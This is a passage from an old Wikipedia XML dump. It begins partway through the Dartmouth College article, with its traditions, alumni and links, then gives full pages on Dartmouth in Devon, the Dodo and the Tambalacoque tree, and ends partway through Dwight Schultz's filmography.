Winter Carnival takes place each year on a weekend in February and include such events as ski competitions at the [[Dartmouth Skiway]]; a polar bear swim; [[a cappella]] and jazz concerts; a human dogsled race; a drag ball; and a showing of the [[1939]] movie. Students build a large Carnival-themed [[snow sculpture]] on the college Green.  The [[1987]] sculpture held the [[Guinness Book of Records|Guinness record]] for the &quot;tallest snowman.&quot;  The sculpture in 2004 reflected the famous character 'The Cat in the Hat,' in honor of the 100th birthday of Dartmouth alumnus and creater of the character, Dr. Seuss.

Numerous parties are thrown by the campus's fraternities and sororities.  In 1999, students cancelled their parties to protest other administration policies.

===Dartmouth Night===
Dartmouth Night starts the college's traditional &quot;[[Homecoming]]&quot; weekend with an evening of speeches, a parade, and a bonfire.  Traditionally, the freshman class builds the bonfire and then runs around it a set number of times in concordance with their class year; the class of 2009 performed 109 circuits, the class of 1999 performed 99, etc.

President [[William Jewett Tucker]] introduced the ceremony of Dartmouth Night in [[1895]].  The evening of speeches celebrated the accomplishments of the college's alumni.  Originally the event took place in the Old Chapel in Dartmouth Hall, but over time other events began to become more important and popular and Dartmouth Night moved outdoors. 

The focus of Dartmouth Night is the bonfire.  Students had built bonfires during the late nineteenth century to celebrate sports victories, including one in [[1888]] that recognized a baseball victory over Manchester. An editorial in The Dartmouth criticized that fire, saying:
:It disturbed the slumbers of a peaceful town, destroyed some property, made the boys feel that they were being men, and in fact did no one any good.
The students nevertheless continued to build bonfires before and after athletic events, and by the mid-twentieth century, bonfires were firmly associated with Dartmouth Night. 

In [[1904]], the [[Earl of Dartmouth]] visited the campus on Dartmouth Night with New Hampshire politician and author [[Winston Churchill (novelist)|Winston Churchill]] and marched around the Green with the students.  Early on, the tradition of reading out telegrams (later e-mail messages) sent that night from alumni clubs around the country began.

Football first began to be associated with Dartmouth Night during the 1920s. Memorial Field was dedicated on Dartmouth Night in [[1923]]. For decades the raucous pre-football rallies remained separate from the dignified official activities. In [[1936]], the College first began the tradition of football games during this weekend; ten years later the formal College events and the rally were combined in a single grand event, and for the first time Dartmouth Night was intentionally scheduled on what is called Dartmouth Night Weekend.

During the 1950s, students adopted a star-hexagon-square structure for the bonfire. Following the tragic [[Aggie Bonfire|bonfire accident]] at [[Texas A&amp;M University|Texas A&amp;M]] in [[1999]], the school hired professionals to do some of the building; nevertheless the night still remains a highlight of the school year.

===Native Americans at Dartmouth===
{{main|Native Americans at Dartmouth College}}

==Alumni==
{{main|List of notable Dartmouth alumni}}

Famous graduates and students at Dartmouth include:

* [[Daniel Webster]] - [[United States Senate|US Senator]] from [[New Hampshire]] and [[Secretary of State]] of the US 
* [[Salmon P. Chase|Salmon Portland Chase]] from [[Ohio]] - [[Chief Justice of the United States]] 
* [[Robert Frost|Robert Lee Frost]] - [[poet]] who won four [[Pulitzer Prizes]]  
* [[Nelson Rockefeller|Nelson Aldrich Rockefeller]] - [[Vice President of the United States|Vice President of the US]]  and [[Governor]] of [[New York State|New York]]
* Theodor Seuss Geisel - the children's author better known as [[Dr. Seuss]]

==See also==
*[[Dartmouth pong]]
*[[Ivy League]]
*[[Ivy League business schools]]

==References==
*{{cite book | first = Scott L. | last = Glabe | title=Dartmouth College:Off the Record | publisher=College Prowler | year=2005 | id=ISBN 1596580380}}
*{{cite book | author=Molly K. Hughs, Susan Berry | title=Forever Green: The Dartmouth College Campus—An arboretum of Northern Trees | publisher=Enfield Books | year=2000 | id=ISBN 1893598012}}
*{{cite book | first = Leon B. | last = Richardson | title=History of Dartmouth College | publisher=Dartmouth College Publications | year=1932 | id=ASIN B00086U61Y }}

== External links ==
{{wikiquote}}
{{commons|Dartmouth College}}
*[http://www.dartmouth.edu/ Dartmouth College website]
*[http://www.dartmouthindependent.com/ The Dartmouth Independent]  &amp;mdash; Dartmouth's only online publication, spanning a spectrum of political views. 
*[http://www.thedartmouth.com/ The Dartmouth] &amp;mdash; the United States' oldest independent college newspaper
*[http://www.dartmouthbeacon.com/ The Dartmouth Beacon]  &amp;mdash; Dartmouth's only college recognized conservative publication.
*[http://www.dartmouth.edu/~thepress/ The Dartmouth Free Press] &amp;mdash; College-funded liberal publication
*[http://www.dartmouth.edu/~tgm/ The Dartmouth Green Magazine] &amp;mdash; Dartmouth's environment-oriented publication
*[http://www.dartmouth.edu/~news/releases/2003/april/041603.html Remembering Maurice Rapf]
*[http://www.dartmouth.edu/~hop/0304_pages/dfs-description.html Dartmouth Film Society]
*[http://www.dartmouth.edu/alumni/leadership/constit.htm Dartmouth's Alumni Association]
*[http://web.dartmouth.edu/~webcams/tower/ Dartmouth webcam]
*[http://www.buzzflood.org/books.php Books] &amp;mdash; Faculty book publication list
*[http://www.dartmouth.edu/~skiway Dartmouth Skiway]
*[http://www.dartreview.com/issues/2.7.00/carnival.html The Mardi Gras of the North] History of the Winter Carnival
*[http://www.dartmouth.edu/~carnival/ 2004 Winter Carnival Celebration]: &quot;Oh! The Places It Snows: A Seussentennial&quot;
*{{imdb title|id=0032132|title=Winter Carnival}}
*[http://hop.dartmouth.edu Dartmouth's Hopkins Center for the Arts]
*[http://www.dartmo.com/index.html Dartmo.: The Buildings of Dartmouth College]
*[http://college.hmco.com/history/readerscomp/naind/html/na_010702_dartmouthcol.htm Encyclopedia of North American Indians]
*[http://www.dartmouth.edu/~nas/html/napmain.html Native American Programs at Dartmouth]
*[http://www.dartmouth.edu/~nap/powwow/ The Dartmouth Pow-Wow]
*[http://www.marksverylarge.com/people/miller.html Chris Miller] Bio of Chris Miller, Dartmouth '63, cowriter of ''[[Animal House]]''
*[http://www.thedartmouth.com/article.php?aid=2004051401080&amp;action=print Alpha Delta Lawn Party], cites Chris Miller
*[http://cnnstudentnews.cnn.com/TRANSCRIPTS/0308/29/se.09.html John Landis interview], ''Animal House'' based on Dartmouth
*[http://www.crimelibrary.com/notorious_murders/young/dartmouth_murders/1.html All about the Dartmouth Murders (Half and Suzanne Zantop)(www.crimelibrary.com)] 
*{{google video|-6227362341282113891|Video on the Construction of the Ravine Lodge}}
*[http://www.dartmouth.edu/comp/resources/network/wireless/focus/press.html Dartmouth Wireless Network Press Coverage]

{{Mapit-US-buildingscale|43.703654|-72.289867}}

{{Ivy_League}}
{{ECAC Hockey League}}

[[Category:Universities and colleges in New Hampshire]]
[[Category:Ivy League]]
[[Category:Dartmouth College| ]]
[[Category:Educational institutions established in the 18th century]]
[[Category:Colonial colleges]]
[[Category:1769 establishments]]


[[de:Dartmouth College]]
[[fr:Collège de Dartmouth]]
[[ja:ダートマス大学]]
[[ru:Дартмутский колледж]]
[[sv:Dartmouth College]]
[[zh:达特茅斯学院]]</text>
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  </page>
  <page>
    <title>Dartmouth, Devon</title>
    <id>8419</id>
    <revision>
      <id>36548302</id>
      <timestamp>2006-01-24T21:20:17Z</timestamp>
      <contributor>
        <username>NekoDaemon</username>
        <id>239574</id>
      </contributor>
      <minor />
      <comment>Robot: [[Cat#Communication|Nyaa]]! [[Template talk:Categoryredirect|Categoryredirect]]: [[Category:English seaside resorts]] → [[Category:Seaside resorts in England]].  Requested change by [[User:Kbdank71|]]</comment>
      <text xml:space="preserve">{{GBmap|Dartmouth - Devon|SX877514}}
[[image:dartmouth.town.750pix.jpg|250px|thumb|right|The town seen from the River Dart]]
'''Dartmouth''' is a town in [[Devon]] in the south-west of [[England]].   It is a major [[tourist destination]] set on the banks of the estuary of the [[River Dart]], which is a long narrow tidal [[ria]] that runs inland as far as [[Totnes]].

Historically, Dartmouth was of great strategic importance as a deep-water port for sailing vessels. It was a home of the English navy since the reign of [[Edward III of England|Edward III]] and was twice surprised and sacked during the [[Hundred Years War]], after which the mouth of the estuary was closed every night with a great chain. 
The narrow mouth of the Dart is protected by two fortified castles, [[Dartmouth Castle]] and [[Kingswear Castle]].  
[[image:dartmouth.front.750pix.jpg|250px|thumb|left|Part of the town's river front]]

The town is dominated by the [[Royal Navy]] Officer Training college ([[Britannia Royal Naval College]]) and all officers of the Royal Navy, as well as many foreign navies, are trained there.

[[Henry Hudson]] put into Dartmouth on his return from America, and was promptly arrested for sailing under foreign flag.The [[Pilgrim Fathers]] put into Dartmouth's Bayard's Cove, en-route from [[Southampton]] to America. They rested a while before setting off on their journey in the ''[[Mayflower]]'' and the ''[[Speedwell (ship)|Speedwell]]'' on the 20th August [[1620]]. About 300 miles west of [[Land's End]], they realised that the ''Speedwell'' was unseaworthy and returned to [[Plymouth]]. The ''Mayflower'' departed alone to complete the crossing to Cape Cod. 

[[Thomas Newcomen]], the inventor of the [[Newcomen steam engine|steam pumping engine]] was born in Dartmouth in [[1663]].

The town was an ancient borough, granted by [[Edward III of England|Edward III]], known formally as '''Clifton-Dartmouth-Hardness''', and consisting of the three parishes of ''St Petrox'', ''St Saviour'' and ''Townstall''.  [http://genuki.cs.ncl.ac.uk/DEV/Dartmouth/Dartmouth1830.html] It was reformed under the [[Municipal Corporations Act 1835]].  It remained a [[municipal borough]] until [[1974]], when it was merged into the [[South Hams]] district, and became a [[civil parish]] with a town council.

[[image:dartmouth.boats.750pix.jpg|250px|thumb|right|Kingswear seen from Dartmouth]]
==External links==
*[http://www.dartmouth.org.uk/ Dartmouth Directory]
*[http://dmoz.org/Regional/Europe/United_Kingdom/England/Devon/Dartmouth/ Dartmouth (DMOZ.org)]
*[http://britannia.com/tours/westcountry/dartmouth.html Dartmouth]
*[http://www.britannia.com/history/devon/castles/dartmouthcast.html Charles Oman, &quot;Dartmouth and Kingswear Castles: Twin Dart estuary defenders&quot;]

[[Category:Ports and harbours of England]]
[[Category:Seaside resorts in England]]
[[Category:Towns in Devon]]

[[ang:Dærentamūða]]</text>
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  </page>
  <page>
    <title>Dodo</title>
    <id>8420</id>
    <revision>
      <id>41814327</id>
      <timestamp>2006-03-01T22:46:54Z</timestamp>
      <contributor>
        <ip>68.75.55.132</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about the extinct bird. For other uses, see [[Dodo (disambiguation)]]''
{{Taxobox
| color = pink
| name = Dodo
| status = {{StatusExtinct|when=[[1681]]}}
| image = igdodo.jpg
| image_width = 200px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[bird|Aves]]
| ordo = [[Columbiformes]]
| familia = [[Raphidae]]
| genus = '''''Raphus'''''
| genus_authority = [[Mathurin Jacques Brisson|Brisson]], 1760
| species = '''''R. cucullatus'''''
| binomial = ''Raphus cucullatus''
| binomial_authority = ([[Carolus Linnaeus|Linnaeus]], [[1758]])
}}

The '''Mauritius Dodo''' (''Raphus cucullatus'', called ''Didus ineptus'' by [[Carolus Linnaeus|Linnaeus]]), more commonly just '''Dodo''', was a metre-high flightless bird of the island of [[Mauritius]]. The Dodo, which is now [[extinct birds|extinct]], lived on fruit and nested on the ground.

==Description==

In December, 2005, an important site of Dodo remains was found in Mauritius, including birds of various stages of maturity. Before this find, few Dodo specimens were known. [[Dublin]]'s [[Natural History Museum (Ireland)|Natural History Museum]] had an assembled specimen, while the most intact remains from a single bird are a skeletal foot and a head, which contains the only known soft tissue remains of the species. The decaying remnants of the last complete stuffed Dodo, in [[Oxford]]'s [[Ashmolean Museum]], were burned in 1755; the foot and head were salvaged from this specimen, and are currently on display. Nevertheless, from artists' renditions we know that the Dodo had blue-grey [[plumage]], a 23-centimetre (9-inch) blackish hooked [[Beak|bill]] with a reddish point, very small useless [[wing]]s, stout yellow legs, and a tuft of curly [[feather]]s high on its rear end. Dodos were very large birds, weighing about 23 kg (50 pounds). 

The breast structure was insufficient to have ever supported flight. These ground-bound birds evolved to take advantage of an island [[ecology]] with no predators.

The traditional image of the Dodo is of a fat, clumsy bird, but this view has been challenged by Andrew Kitchener, a biologist at the [[Royal Museum of Scotland]] (reported in ''National Geographic News'', February 2002), who believes that the old drawings showed overfed captive specimens. As Mauritius has marked dry and wet seasons, the Dodo probably fattened itself on ripe fruits at the end of the wet season to live through the dry season where food was scarce; contemporary reports speak of the birds' &quot;greedy&quot; appetite. Thus, in captivity with its ready availability of food, the birds would become overfed very easily. It had lived for thousands of years on Mauritius without any predators, being the largest animal then on the island (including humans - Mauritius had no native people).

==Extinction==
The Dodo was entirely fearless of people, and this, in combination with its flightlessness, made it easy prey. The name ''dodo'' comes from the archaic [[Portuguese language|Portuguese]] word ''doudo'', meaning &quot;simpleton&quot;, ''doido'' in modern Portuguese meaning fool or mad. (The island was first visited by the [[Portugal|Portuguese]] in [[1505]], but the Dutch were the first permanent settlers on the island.)

There is a persistent myth that Dodos were eaten as food for the long voyages between the [[Cape of Good Hope]] and [[Asia]], but neither historical nor archeological findings corroborate this. Dodos were hardly ever eaten by the Portuguese, who found the birds hard to eat and very messy. Dutch records concur. The [[Netherlands|Dutch]] settlers called it the ''Walgvogel'' (&quot;disgusting bird&quot;) for the unpleasant taste and texture of the meat. No Dodo bones have been found in the old [[midden]]s of the Dutch fort Frederik Hendrik. 

However, when humans first arrived on Mauritius, they also brought with them other animals that had not existed on the island before, including [[dog]]s, [[pig]]s, [[rat]]s and [[monkey]]s, which plundered the Dodo nests, while humans destroyed the forests where they made their homes. 

There is some controversy surrounding the extinction date of the Dodo.  [[David Roberts]] states that &quot;the extinction of the Dodo is commonly dated to the last confirmed sighting in [[1662]], reported by [[shipwreck|shipwrecked]] mariner [[Volkert Evertsz]]&quot;, but other sources  suggest [[1681]].

Roberts points out that because the sighting prior to 1662 was in [[1638]] (i.e. 24 years earlier), the Dodo was likely already very rare by the 1660s. However, [[statistics|statistical]] analysis of the hunting records of [[Isaac Joan Lamotius]], carried out by [[Julian Hume]] and coworkers, gives a new estimated extinction date of [[1693]], with a 95% [[confidence interval]] of [[1688]] to [[1715]]. 

The last known Dodo was killed less than 100 years after the species' discovery, and no complete specimens are preserved, although a number of museum collections contain Dodo skeletons. A Dodo egg is on display at the East London museum in South Africa. Genetic material has been recovered from these and its analysis has confirmed that the Dodo was a close relative of [[pigeon]] species that are to be found in Africa and especially South Asia.

No one took particular notice of the extinct bird, until it was featured in the Caucus race in [[Lewis Carroll]]'s ''[[Alice's Adventures in Wonderland]]'' (1865). With the popularity of the book, the Dodo became a household word: &quot;as dead as a Dodo.&quot; The character was named [[Dodo (Alice's Adventures in Wonderland)|Dodo]].

== Family Raphidae ==
[[Image:ExtinctDodoBird.jpeg|right]]

Traditionally, the Dodo has been taxonomically assigned to the family [[Raphidae]], one of two families within the Order [[Columbiformes]]. The other family, the [[Columbidae]], consists of all [[pigeon]] and [[dove]] species.  

Two Dodo-like birds were reported by sailors to be living on islands near Mauritius: in [[1613]] the Réunion Solitaire, ''Raphus solitarius'' on [[Réunion]], and in [[1691]] the [[Rodrigues Solitaire]], ''Pezophaps solitarius'' on [[Rodrigues (island)|Rodrigues]]. The latter became extinct during the 1760s.

No evidence has ever been found to support the existence of the Réunion Solitaire, and [[ornithology|ornithologists]] now believe that the bird actually seen was the [[Réunion Flightless Ibis]] ''Threskiornis solitarius'', which is also now extinct. When it was believed to exist, it was also referred to as 'White Dodo', as travellers' descriptions of the Flightless Ibis correctly gave its plumage as mainly white, and as there exist some paintings of white Dodos, it was believed that these showed the assumed Dodo of Réunion. However, at least some descriptions clearly state that wingtips and tail of the Réunion &quot;Solitaire&quot; were black (as it certainly was the case, still seen in its close living relative, the Sacred Ibis), while the paintings show an entirely white bird (apart from what is probably soiling of some feathers with dirt in captivity). The paintings were most certainly of captive birds in some European menagerie; they show a rounded, not hooked beak which seems to indicate cropping as a precaution against attacks on the keepers (travellers' reports state that, if cornered, Dodos would bite quite viciously, as can be expected of a bird with such considerable bulk). The most likely source of the 'White Dodo' paintings is a small number of [[Albinism|albinotic]] Dodos &amp;mdash; perhaps even only one &amp;mdash; that reached Europe and were kept as curiosities.

Dr Alan Cooper and Dr Beth Shapiro from Oxford's Henry Wellcome Ancient Biomolecules Centre, Dr Dean Sibthorpe, Andrew Rambaut, Dr Graham Wragg, Dr Olaf Bininda-Emonds and Dr Patricia Lee from Oxford's Department of Zoology, and Dr Jeremy Austin from the Natural History Museum, London, carried out research in 2000-2002 by extracting tiny fragments of Dodo [[DNA]]. The samples were taken from the only surviving Dodo specimen with soft tissues remaining - the 300 year old 'Alice in Wonderland' specimen in the Oxford University Museum of Natural History. [[DNA]] was also extracted  from a Solitaire bone excavated from a cave on Rodrigues Island. The results of this analysis showed that, as expected, the Dodo and Solitare were very closely related to each other. However, rather than belonging to a separate family from the [[Dove|pigeons]], the [[DNA]] results showed that the Dodo and Solitaire actually belong inside the pigeon family, and most closely related to the [[Nicobar Pigeon]], ''Caloenus nicobarica''.

In 1973, scientists discovered that a species of tree on Mauritius, the [[dodo tree]] ''Sideroxylon grandiflorum'' = ''Calvaria major'', was dying out. There were only 13 specimens reported left, and all of them were about 300 years old, dating from the time when the last Dodo was killed. It was discovered that the Dodos ate the seeds of the tree, and only by passing through the digestive tract of the Dodo did the seeds become active and start to grow. After a while, it was discovered that the same effect could be accomplished by letting [[turkey (bird)|turkeys]] eat the seeds. The tree species has been saved.
However, more recent research suggests that young specimens were simply overlooked and that it probably was the extinct [[Broad-billed Parrot]] ''Lophopsittacus mauritianus'' rather than Dodos which were chiefly responsible for spreading the seeds. See the [[dodo tree]] article for more details and references.

==Use as a symbol==
[[Image:Coat of arms of Mauritius.png|thumb|[[Coat of arms]] of [[Mauritius]]]]

*The Dodo appears on the [[Coat of arms]] of [[Mauritius]], its origin. It's the symbol of the [[Brasseries de Bourbon]], a popular brewer on [[Réunion Island]].
*The Dodo is the symbol and mascot of the [[Durrell Wildlife Conservation Trust]] and the [[Jersey Zoological Park]], founded  by [[Gerald Durrell]].
*The Dodo is the name, symbol and mascot of Finnish environmental organization Dodo. [http://www.dodo.org]

==Use in popular culture==
*The first use of the Dodo in popular culture was in [[Lewis Carroll]]'s ''[[Alice's Adventures in Wonderland]]'', in [[1865]]. The book features a Dodo character simply called [[Dodo (Alice's Adventures in Wonderland)|Dodo]]. The character represents the author himself, as he frequently doubled the ''do'' at the beginning of his real name, Dodgson.

*The [[1938]] [[Bob Clampett]]-directed ''[[Looney Tunes]]'' cartoon ''[[Porky in Wackyland]]'' has [[Porky Pig]] chasing the last Do-Do Bird across the surreal Wackyland. The Do-Do Bird is somewhat insane, as is his environment, but he is still able to escape capture from Porky for most of the film.

*The [[1990s]] cartoon ''[[Tiny Toon Adventures]]'' featured a dodo character named [[Gogo Dodo]], who was the son of the dodo bird portrayed in ''Porky in Wackyland''. Gogo's personality in the series was quite wild and bizarre, often embracing surreal and nonsensical elements.

*One of [[Doctor (Doctor Who)|The Doctor]]'s companions in the third season of ''[[Doctor Who]]'' ([[1966]]) was nicknamed [[Dodo Chaplet|Dodo]]. She had a bright and happy, if unsophisticated, personality, somewhat reminiscent of the Dodo bird's traits.

*In the 1987 book [[Dirk Gently's Holistic Detective Agency]] by English writer [[Douglas Adams]], Professor Chronotis claims that the Dodo only became extinct because he had worked so hard to save the coelacanth.

*An episode of ''[[The Goodies]]'' had [[Bill Oddie]] discovering the reason for the extinction of the dodo---the fact that &quot;they're delicious!&quot;

*In the [[Netherlands|Dutch]] comic series ''[[Douwe Dabbert]]'' a Dodo was featured as his traveling companion, leaving him eventually for the last female Dodo.

*In the later episodes of the [[Netherlands|Dutch]]-[[Japan]]ese cartoon series ''[[Alfred J. Kwak]]'', Alfred encounters the secret underwater habitat where the Dodos fled to save their species from extinction.

*In 1981 the band [[Genesis (band)|Genesis]] featured a song on the [[Abacab]] album entitled &quot;Dodo/Lurker&quot;.

*The [[David Bowie]] Box Set &quot;Sound + Vision&quot; released in 1995 contain a previously unreleased version of the song &quot;1984&quot; which included a sub-song called &quot;Dodo&quot;. The song was originally recorded in 1973 during the &quot;[[Diamond Dogs]]&quot; recording sessions. The &quot;Sound + Vision&quot; box set was re-released in 2003.

*In a [[1996]] episode of the animated series ''[[The Simpsons]]'' (entitled ''[[Homer the Smithers]]''), [[Montgomery Burns|Mr. Burns]] orders [[Homer Simpson|Homer]] to prepare him a Dodo egg for lunch. This is part of a running joke of the show, which consists of making the character of Mr. Burns as out-of-touch with modern world developments as possible.

*In [[1999]], [[Aimee Mann]] featured a dodo on the cover of her album &quot;[[Bachelor No. 2]], or, the Last Remains of the Dodo.&quot; None of the songs mention the dodo, however.

*In the [[2001]] video game ''[[Grand Theft Auto III]]'', an aircraft named the [[Fully-winged Dodo]] can be seen flying over the city.  Although this plane cannot be flown, a shorn-winged version, simply called Dodo, can actually be flown (with great difficulty) by the player. The Dodo can be found at the Liberty City Airport. This is of course a joke, mocking the fact the Dodo was a flightless bird. The Dodo reappears in ''[[Grand Theft Auto: San Andreas]]'', and is available at the Las Venturas Airport. 

*The [[2002]] movie ''[[Ice Age (film)|Ice Age]]'' features an army of Dodo, who are trying to survive extinction by stockpiling only three watermelons. The watermelons are destroyed in the movie, along with a number of Dodo trying to protect them, thus dooming the species to extinction. This rendition plays into the stereotype of the Dodo being a simpleton animal.

*[[Dave Matthews]]' [[2003]] album &lt;i&gt;[[Some Devil]]&lt;/i&gt; begins with a track called &quot;Dodo,&quot; a soft, harmonic song with lyrics that muse on the possible feelings of the last dodo alive on earth.  The song's reflective tone gives no indication of any &quot;dodo stereotypes,&quot; but it does open the album quite nicely.

*In &quot;Fantastic Beasts and Where to Find them&quot;, a book pretended to be a school book of [[Harry Potter]], the dodo is featured under the name &quot;Diricawl&quot;. It is described as having the ability to disappear and reappear elsewhere. According to this book, [[Muggles]] (non-magical people) wrongfully assume that diricawls/dodos are extinct, and wizards keep their continued existence a secret because their supposed extinction taught Muggles to be more careful about slaying animals.

*In the episode of ''[[Superman: The Animated Series]]'' entitled &quot;The Main Man,&quot; a villain named &quot;the Preserver&quot; has a living dodo bird in a simulated Earth environment. At the end of the episode, Superman takes the dodo back to his [[Fortress of Solitude]].

*[[DC Comics]] published a comic series from the 1940s through the 1960s entitled ''[[The Dodo and the Frog]]'', featuring the characters Dunbar Dodo and Fennimore Frog. Dunbar was portrayed as something of a simpleton, and often fell for the schemes of Fennimore. The two made a later appearance in the 1980s comic series ''[[Captain Carrot and His Amazing Zoo Crew]]''.

* The underground humor magazine at the [[United States Air Force Academy]] is called &quot;''The Dodo''&quot;, a play on the Academy's official mascot, the Falcon.  Over the years, ''The Dodo'' has been censored and occasionally banned outright by the Academy leadership since the magazine's establishment in 1957.  Its most active incarnation is currently the on-line version, the [http://www.edodo.org the eDoDo], which is maintained by Academy graduates and whose bulletin boards are frequented by graduates and cadets.  The eDoDo also maintains a [http://www.edodo.org/archive/ partial archive of the paper version of ''The Dodo''.]

*There was also a [[Pokémon]] named after the Dodo bird.
== See also ==

* [[extinct birds]]

== References ==
*Errol Fuller (2003): ''Dodo: A Brief History'' - Universe. ISBN 0789308401
*Beth Shapiro et al (2002): ''Flight of the Dodo'' Science 295: 1683.
*Errol Fuller (2002): ''Dodo : from extinction to icon''
*Georg Menting und Gerhard Hard (2001): ''Vom Dodo lernen - Öko-Mythen um einen Symbolvogel des Naturschutzes'' - In: Naturschutz und Landschaftsplanung H. 1, ISSN 09406808
*Vincent Ziswiler (1996): ''Der Dodo - Fantasien und Fakten zu einem verschwundenen Vogel'', Zoologisches Museum der Unviversität Zürich, Ausstellungskatalog, ISBN 3952104310
*David Quammen (1996): ''The Song of the Dodo'' - New York
*Clara Pinto Correia (2003): ''Return of the Crazy Bird : the sad, strange tale of the dodo'' - Copernicus Books. ISBN 0387988769

== External links ==
*[http://www.oum.ox.ac.uk/dodo.htm Dodos at the Oxford University Museum of Natural History]
*http://www.kritische-naturgeschichte.de/Seiten/beitraege.html (Vom Dodo lernen - Öko-Mythen um einen Symbolvogel des Naturschutzes)
* [http://news.bbc.co.uk/1/hi/sci/tech/4556928.stm Scientists find 'mass dodo grave']
* [http://www.ncbi.nlm.nih.gov/Taxonomy/Browser/wwwtax.cgi?id=187135 Dodo DNA/Protein sequence at the NCBI]

[[Category:Extinct flightless birds]]
[[category:Raphidae]]
[[Category:Recent extinctions]]
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  <page>
    <title>Tambalacoque</title>
    <id>8421</id>
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      <comment>clean up and bulleting external links using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Tambalacoque
| status = {{StatusCritical}}
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = [[Ericales]]
| familia = [[Sapotaceae]]
| genus = ''[[Sideroxylon]]''
| species = '''''S. grandiflorum'''''
| binomial = ''Sideroxylon grandiflorum''
| binomial_authority = [[Alphonse Louis Pierre Pyramus de Candolle|A.DC.]]
}}

'''Tambalacoque''' (also called the '''dodo tree''') ''Sideroxylon grandiflorum'' formerly ''Calvaria major'', is a long-lived tree in the family [[Sapotaceae]], [[endemic (ecology)|endemic]] to [[Mauritius]].

In [[1973]], it was thought that this species was dying out, there were only 13 specimens left, which all were about 300 years old. [[Stanley Temple]] put forward the theory that the [[dodo]], which became extinct in the 17th century, ate the seeds of the tree, and only by passing through the digestive tract of the dodo did the seeds become active and start to grow. After a while, it was discovered the same effect could be accomplished by getting [[turkey (bird)|turkey]]s to eat the seeds. Turkeys showed no interest in whole tambalacoque fruit, but were willing to swallow the seeds, which sprouted after passing through turkey gizzards. New seedlings have germinated, and the species appears to have been saved, though the seedlings have not yet produced seeds of their own. The dodo tree is valued on Mauritius for its timber; the foresters now abrade the seeds by hand in order to get them to sprout, rather than feeding them to turkeys.

However, this theory that the tree required the dodo has been contested; others have suggested the decline of the tree was exaggerated, or that other extinct animals may also have been distributing the seeds, such as [[tortoise]]s, [[fruit bat]]s or the  [[Broad-billed Parrot]]. [[Wendy Strahm]] and [[Anthony Cheke]], two experts in Mascarene [[ecology]], claim that while a rare tree, it has germinated since the demise of the dodo and numbers a few hundreds, not 13, the difference in numbers being due to the fact that young trees are not distinctly-looking and usually confused with similar species. The decline of the tree is possibly because of [[introduced species|introduced]] [[pig]]s and [[monkey]]s and competition with introduced plants. Catling (2001) in a summary cites Owadally and Temple (1979), and Witmer (1991). Hershey (2004) reviewed the flaws in Temple's dodo-tambalacoque hypothesis.

==References==
* Temple, S.A., [[1977]]. Plant-animal mutualism:  coevolution with Dodo leads to near extinction of plant. ''Science'' 187: 885-886
* Carla Helfferich, [[1990]]. [http://www.gi.alaska.edu/ScienceForum/ASF11/1110.html The Turkey and the Tambalacoque Tree]
* Paul M. Catling, [[2001]]. Extinction and the importance of history and dependence in conservation. ''Biodiversity'' 2(3) [http://www.tc-biodiversity.org/sample-extinction.pdf pdf]
* Owadally, A. W. and Temple, S. A., [[1979]]. The dodo and the tambalacoque tree. ''Science'' 1363-1364
* Witmer, M. C. and Cheke, A. S., [[1991]]. The dodo and the tambalacoque tree: an obligate mutualism reconsidered. ''Oikos'' 61: 133-137
* David Quammen, [[1996]]. ''The Song of the Dodo''.
* Hershey, D.R., [[2004]]. [http://www.botany.org/PlantScienceBulletin/psb-2004-50-4.php#Dodo The widespread misconception that the tambalacoque absolutely required the dodo for its seeds to germinate.] ''Plant Science Bulletin'' 50: 105-108.

==External links==
*[http://home.conceptsfa.nl/~pmaas/rea/dodobird.htm ''Raphus cucullatus'' and ''Sideroxylon grandiflorum'' (picture)]

[[Category:Ericales]]
[[Category:Mauritius]]

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    <title>DragonMagazine</title>
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    <title>DungeonMagazine</title>
    <id>8424</id>
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  <page>
    <title>Dwight Schultz</title>
    <id>8425</id>
    <revision>
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      <text xml:space="preserve">[[Image:Reginaldbarclay001.jpg|thumbnail|200px|Dwight Schultz &lt;br/&gt; as [[Reginald Barclay]]]]

'''William Dwight Schultz''' (born [[November 24]], [[1947]] in [[Baltimore, Maryland]]) is an [[United States|American]] stage, television and film [[actor]]. He first made his name on TV as &quot;H.M. &quot;Howlin' Mad&quot; Murdock&quot; on the [[1980s]] action show ''[[The A-Team]]''.

Schultz has appeared in [[film]]s including ''The Fan'' ([[1981]]), as [[Broadway theatre|Broadway]] [[Actor|actress]] [[Lauren Bacall]]'s director, and ''Fat Man Little Boy'' ([[1989]]), as [[J. Robert Oppenheimer]]. In the late [[1980s]] and early [[1990s]] he had a recurring role as Lieutenant [[Reginald Barclay]] in ''[[Star Trek: The Next Generation]]'' and then ''[[Star Trek: Voyager]]'' (as well as the film ''[[Star Trek: First Contact]]''). Schultz is also known for his voice talent. His voice credits include numerous video games and cartoons.

Dwight Schultz married former actress [[Wendy Fulton (actress)|Wendy Fulton]] (''Bare Essence'') in 1983 and has a daughter named Ava.

==Filmography==
===Film===
*''[[The First Men on the Moon]]'' (1999)
*''[[Star Trek: First Contact]]'' (1996)
*''[[Enola Gay and the Atomic Bombing of Japan]]'' (1995)
*''[[The Temp]]'' (1993)
*''[[Fat Man and Little Boy]]'' (1989)
*''[[The Long Walk Home]]'' (1989)
*''[[Alone in the Dark (1982 movie)|Alone in the Dark]]'' (1982)
*''[[The Fan (1981 film)|The Fan]]'' (1981)

===Television===
*''[[Star Trek: Voyager]]''
**&quot;Endgame, Part II&quot; (2001)
**&quot;Endgame, Part I&quot; (2001)
**&quot;Author, Author&quot; (2001)
**&quot;Life Line&quot; (2000)
**&quot;Inside Man&quot; (2000)
**&quot;Pathfinder&quot; (1999)
**&quot;Projections&quot; (1995)
*''The Chimp Channel'' (1999)
*''[[Stargate SG-1]]''
**&quot;The Gamekeeper&quot; (1998)
*''[[Hart to Hart]]: Till Death Do Us Hart'' (1996)
*''[[Diagnosis: Murder]]'' (1995)
*''Menendez: A Killing in Beverly Hills'' (1994)
*''[[Star Trek: The Next Generation]]''
**&quot;Genesis&quot; (1994)
**&quot;Ship in a Bottle&quot; (1993)
**&quot;Realm of Fear&quot; (1992)
**&quot;Nth Degree&quot; (1991)
**&quot;Hollow Pursuits&quot; (1990)
*''[[Babylon 5]]''
**&quot;The Long Dark&quot; (1994)
*''Victim of Love: The Shannon Mohr Story'' (1993)
*''Woman with a Past'' (1992)
